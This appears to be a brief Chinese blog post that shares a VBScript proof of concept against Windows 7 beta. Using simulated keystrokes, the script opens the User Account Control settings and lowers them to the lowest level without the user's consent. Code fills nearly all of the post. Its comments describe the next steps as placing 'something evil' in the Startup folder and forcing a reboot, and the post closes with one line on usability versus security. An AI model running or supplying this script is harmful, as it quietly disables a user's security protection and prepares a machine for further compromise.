要关闭Win7(Beta版本)中的UAC,可以使用下面的一段脚本来实现:
- '// 1337H4x Written by _____________
- '// (12 year old)
- Set WshShell = WScript.CreateObject("WScript.Shell")
- '// Toggle Start menu
- WshShell.SendKeys("^{ESC}")
- WScript.Sleep(500)
- '// Search for UAC applet
- WshShell.SendKeys("change uac")
- WScript.Sleep(2000)
- '// Open the applet (assuming second result)
- WshShell.SendKeys("{DOWN}")
- WshShell.SendKeys("{DOWN}")
- WshShell.SendKeys("{ENTER}")
- WScript.Sleep(2000)
- '// Set UAC level to lowest (assuming out-of-box Default setting)
- WshShell.SendKeys("{TAB}")
- WshShell.SendKeys("{DOWN}")
- WshShell.SendKeys("{DOWN}")
- WshShell.SendKeys("{DOWN}")
- '// Save our changes
- WshShell.SendKeys("{TAB}")
- WshShell.SendKeys("{ENTER}")
- '// TODO: Add code to handle installation of rebound
- '// process to continue exploitation, i.e. place something
- '// evil in Startup folder
- '// Reboot the system
- '// WshShell.Run "shutdown /r /f"
看来有时候易用性和安全性之间的真的是一对永恒的矛盾。
沒有留言:
張貼留言